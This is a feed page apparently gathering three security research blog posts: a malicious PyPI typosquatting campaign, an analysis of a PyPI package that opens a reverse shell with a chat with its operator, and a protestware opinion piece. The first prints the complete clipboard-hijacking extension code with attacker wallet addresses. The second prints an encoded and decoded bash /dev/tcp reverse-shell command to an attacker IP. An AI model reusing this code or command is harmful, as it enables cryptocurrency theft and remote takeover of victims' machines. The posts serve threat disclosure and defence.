Visualização normal

Antes de ontemStories by Jossef Harush Kadouri on Medium

900+ Malicious Python Packages Manipulating Victim’s Clipboard to Steal Crypto

Starting Feb 9 2023, an attacker published a total of 444 malicious packages via 22 different PyPi user accounts. The malicious packages infect the victim’s web browser with a hidden extension that manipulates the clipboard and changes the value of a copied crypto wallet address to match the attacker’s crypto wallet address.

Update 12/2/2023: The attack continues - 900 packages so far
Since the original publication of this blog, 456 additional packages containing the same code were found. All were published on 11/2/2023 using 17 additional PyPi user accounts. This brings the subtotal of packages found in the incident thus far to 900 from 39 different user accounts. PyPi quickly removed all new packages.

Stay tuned, as this attack may still be in progress, and it’s possible that new packages will be published in the upcoming days.

An updated package list.

Attack Technique

For those who are unfamiliar with it, Typosquatting is a malicious technique used by attackers to trick victims into downloading and installing what appears to be a legitimate open-source package but is actually a disguised version of the malicious packages containing harmful code.

In this incident, the attacker published packages that closely resemble the names of the following (highly popular) packages:

Update 12/2/2023:

As humans make typing mistakes, someone probably will mistype the name and will end up installing the attacker’s code.

Analyzing the Malicious Packages

All 444 packages share the same payload. The malicious code is executed upon installation and its obfuscated with variable names in Chinese (e.g. 馬女水女口目人馬鳥月水馬山山馬鸟)

After deobfuscating and debugging the malicious code, I saw the attacker was deploying a browser extension embedded in the code into the path %APPDATA%\Extension

To activate the extension as it is unlisted in the official marketplaces, the code modifies shortcuts to launch browsers placed in the following paths:

  • C:\ProgramData\Microsoft\Windows\Start Menu
  • %APPDATA%\Microsoft\Windows\Start Menu
  • %APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar

Those shortcuts are modified to include the argument — load-extension=%APPDATA%\Extension to this closed list of web browsers’ .exe files:

  • chrome.exe (Google Chrome)
  • msedge.exe (Microsoft Edge)
  • launcher.exe (Opera Internet Browser)
  • brave.exe (Brave Browser)

Malicious Browser Extension

The browser extension is comprised of two files: manifest.json, which requests permission to access the clipboard, andbackground.js contain multiple regular expressions to replace copied Crypto wallet addresses with hard-coded wallet addresses owned by the attacker:

let page = chrome.extension.getBackgroundPage();

var inputElement = document.createElement('input');
document.body.appendChild(inputElement);
inputElement.focus();

function checkWalletAddresses() {
document.execCommand('paste');
var clipboardContent = inputElement.value;
clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, '0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63');
clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, 'TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa');
clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, 'bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw');
clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, 'bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2');
clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, 'LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3');
clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, 'rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx');
clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, 'DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx');
clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, 'addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz');
clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, '41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv');
clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, 'GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH');
clipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, 'cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y');

inputElement.value = clipboardContent;
inputElement.select();

document.execCommand('copy');

inputElement.value = '';
}

setInterval(checkWalletAddresses, 1000);

To see it in action, I made a short video demonstrating how this malicious extension manipulates the victim’s clipboard:

Timeline

  • Nov 4 2022: Attacker create an infrastructure of at least 22 PyPi user accounts
  • Feb 9–10 2023: Attacker publishes 444 malicious typosquatting packages to PyPi
  • Feb 10 2023: I reported to the PyPi security team
  • Feb 10 2023: PyPi security team removed the malicious packages

Conclusion

I started this investigation on Feb 10 when I noticed a typosquatting attack on Selenium. I originally reported a portion of this campaign, and I later continued to play with the tools my team created and discovered more related activities.

I reported the findings to the Python security team, and they quickly removed all malicious packages (special thanks to Ee Durbin).

Planned Attack

As all user accounts involved were created on Nov 4, 2022, this is a clue of a planned attack, and it doesn’t seem to be a coincidence the strike on weekends as attackers are aware defenders and the ecosystem's security teams might not have full availability during the weekend.

Package Names

Sharing the following gist with indicators of the package name as well as the user accounts

IOC


900+ Malicious Python Packages Manipulating Victim’s Clipboard to Steal Crypto was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Stories by Jossef Harush Kadouri on Medium
  • Chat With a Software Supply Chain attacker Jossef Harush Kadouri
    A PyPi user account, aidoc, was found to have been publishing malicious packagesThe malicious code in the packages opens a remote shell on the victim’s machine and uses a simple persistence mechanism by appending the malicious command to the “.bashrc” and “.zshrc” files.I conducted a proactive experiment on a virtual machine and was able to interact with the attacker via Python script.https://medium.com/media/0b631b98defcfc69f70af7f8dad7d7af/hrefBackgroundOver the past few years, my team’s missi
     

Chat With a Software Supply Chain attacker

  • A PyPi user account, aidoc, was found to have been publishing malicious packages
  • The malicious code in the packages opens a remote shell on the victim’s machine and uses a simple persistence mechanism by appending the malicious command to the “.bashrc” and “.zshrc” files.
  • I conducted a proactive experiment on a virtual machine and was able to interact with the attacker via Python script.

Background

Over the past few years, my team’s mission has been to fight software supply chain hackers who attack developers and users through open-source code. Our goal is to detect as soon as possible and report the relevant security teams to jam their operations.

To support our mission, my team created an automated package analysis pipeline, which scans new packages as soon as they are uploaded to the open-source ecosystem.

One of our engines is called “Watchdog”. This engine is aware of known-as-bad user accounts which previously published malicious packages. This engine brings useful context when such user accounts make new contributions and out of the many user accounts in our “naughty list”, one PyPi user account aidoc (first seen in August 2022) pops up again out of nowhere and starts dropping more of the same. We’re on it, but heads up, this guy’s dangerous.

activity over time of PyPi user account aidoc first seen in August 2022

In addition, another engine my team integrated into our analysis pipeline is called “Groot”, a dynamic analysis engine (sandbox). The purpose of this engine is to thoroughly detonate and analyze open-source packages by installing, importing, and using SAST tools to invoke functionality within.

This engine results in a full audit of the package’s behavior, including any files created, subprocesses launched, network communications (including TLS traffic), and other useful insights.

Screenshot from Groot (our dynamic analysis engine) results — audited the behavior of the malicious package

What’s Inside the Package?

Upon receiving a prioritized signal from our analysis pipeline, I manually inspected the newly published packages.

The malicious code is placed in the “setup.py” script and executed upon installation. The attacker used function names referring to users as victims such as identifyVictim()and it appears the purpose is to open a remote shell on the victim’s machine. The attacker tried to hide the command by encoding it as base64

base64 -D <<< KGJhc2ggLWMgJzA8JjEwMC07ZXhlYyAxMDA8Pi9kZXYvdGNwLzMuMjIxLjE1Mi4yMDMvNzcxO3NoIDwmMTAwID4mMTAwIDI+JjEwMCcgPiAvZGV2L251bGwgMj4mMSAmKQo= | sh

which decodes to

(bash -c '0<&100-;exec 100<>/dev/tcp/3.221.152.203/771;sh <&100 >&100 2>&100' > /dev/null 2>&1 &)

a simple command to initiate remote shell receiving commands from IP address 3.221.152.203 on port 771

In addition, a simple persistence mechanism was used by appending his malicious base64-encoded command to the end of “.bashrc” and “.zshrc” files.

Proactive Experiment

I decided to perform a proactive experiment on a virtual machine I created for the task. I started by infecting the virtual machine with one of the malicious packages by running the command:

pip install aidoc-e2e-utils

It didn’t take too long before I saw the attacker writing files to disk and reading sensitive files.

screenshot from the pcap file recorded on the virtual machine — attacker sending commands

After letting the attacker play with my virtual machine, I decided to take it to the next level by writing a Python script that connects to the attacker’s C2 server using a raw socket and waits to receive a new command.

When such a command is received, the script prompts my confirmation to execute; otherwise, allowing me to type whatever made-up output I decide.

This is my dialog with the attacker on the other end:

attacker: whoami
victim: who are you?

attacker: ifconfig
victim: 192.168.0.1

attacker: ls ~/
victim: yo, lets talk. who are you?

attacker: ls .
victim: who are you?

attacker: Security Engineer. You?
victim: Are you sure? security engineers don't write reverse shells.

attacker: ls
ls
ls
ifconfig
victim: nope.

attacker: ls .
victim: Where are you from?

attacker: I am checking Internal systems. Dependency confusion you know. If not our system, I am killing the shell and drop the connection (just dont connect back) See you

In our exchange, the attacker claimed to be a security researcher who was “checking Internal systems. Dependency confusion you know.” and said that “If not our system, I am killing the shell and drop the connection.”

I know this attacker did more than he claims as our dynamic analysis engine observed him dropping new files and executing commands to read sensitive files such as “cat /etc/passwd”.

Not to mention that security researchers usually don’t infect other machines with reverse shells and connect interactively.

panic_mode: true

Shortly after our conversation, I noticed the attacker published new versions to all packages owned by PyPi user account aidoc, omitting the word “victim” and removing the remote shell code, leaving what appears to be a simple beacon to indicate to the server that one of the packages was installed.

Although no “DO NOT RUN” warnings and disclaimers exist, I consider this package more suitable for research purposes.

Code of Conduct

Claiming to be a security researcher is not a free pass, if your actions are not in alignment with the standards expected of one.

If the person behind this attack is indeed a security engineer, then it seems suspicious to us that they failed to declare their intent and identity as a security professional. Moreover, the reverse shell functionality, as well as other actions described in this blog, are not in alignment with what is expected from a security researcher.

Incidents in which actions of individuals claiming to be security professionals caused severe damages, such as the poisoning of the popular “ctx” Python package, raise the topic of a certain “code of conduct”

for security researchers in the field of open-source security. I recommend reading this story discussing the dos and don’ts when performing malicious package research.

Conclusion

Don’t get mistaken, it’s not a malicious package problem. It’s an attacker's problem.

Apparently, this threat actor was targeting aidoc.com, which is an Israeli startup in the field of healthcare artificial intelligence. I have reached out to the company’s CISO and executives to inform them that someone might be targeting their organization (as the packages prefixed “aidoc-“ and the user account “aidoc”).

In addition, I reported this activity to PyPi’s security team and they removed the malicious packages.

My team will continue to monitor the ecosystem for attackers and to continue working together to keep the ecosystem safe.

IOCs

  • 3[.]129.111.79
  • 3[.]221.152.203
  • hxxp://3[.]221.152.203:8000/acl/package/*

Packages


Chat With a Software Supply Chain attacker was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Stories by Jossef Harush Kadouri on Medium
  • Mixing Politics and Open Source: Bad Idea Jossef Harush Kadouri
    source: MidjourneyDuring the past year, since the Russia-Ukraine war began, we’ve seen multiple examples of open-source packages with hidden protest messages and even examples of protest packages executing malicious code, all targeted at Russian developers.The term “Protestware” has been used to describe software that includes features that are meant to raise awareness or protest an issue.Last year we witnessed the node-ipc incident and learned protesters could take it one step further by also i
     

Mixing Politics and Open Source: Bad Idea

source: Midjourney

During the past year, since the Russia-Ukraine war began, we’ve seen multiple examples of open-source packages with hidden protest messages and even examples of protest packages executing malicious code, all targeted at Russian developers.

The term “Protestware” has been used to describe software that includes features that are meant to raise awareness or protest an issue.

Last year we witnessed the node-ipc incident and learned protesters could take it one step further by also including malicious code aside from their protest messages.

Python Package “asolytics”

Asolytics is an open-source tool that helps with App Store Optimization (ASO) and provides features like calculating the popularity of keywords, tracking the position of an app in search results, monitoring keywords, and analyzing competitors.

This tool features a simple command-line interface and uses Selenium for automated browser functionality that runs in the background.

Image source: https://github.com/AsolyticsOpenSource/asolytics

Initially, this project appeared to be a legitimate and well-made open-source tool. However, we discovered it through our package analysis system, which scans for potential risks and suspicious activity, indicating the potential presence of Protestware within the asolytics PyPi package.

Upon examination, we discovered that the tool’s business logic contain code that replaces “Russia” with “Russian Terrorist State” before presenting its results to the user.

Given the connection of the project’s owner to Ukraine, it is easy to understand the reason for this message. It is important to note that there is no evidence of any malicious code present in this tool.

My Humble Opinion

While the creators of open-source code have the right to express themselves in their own work, it is important to separate politics from open-source development.

Open-source code is a collaborative effort that should remain neutral and apolitical in order to maintain trust and cohesion within the community.

The incorporation of political messages in open-source code can have detrimental effects, including a loss of trust among users and contributors.

I submitted a pull request to the author’s project suggesting the removal of that message, but the likelihood of the author merging it is low.

https://github.com/AsolyticsOpenSource/asolytics/pull/1

Mixing Politics and Open Source: Bad Idea was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌
❌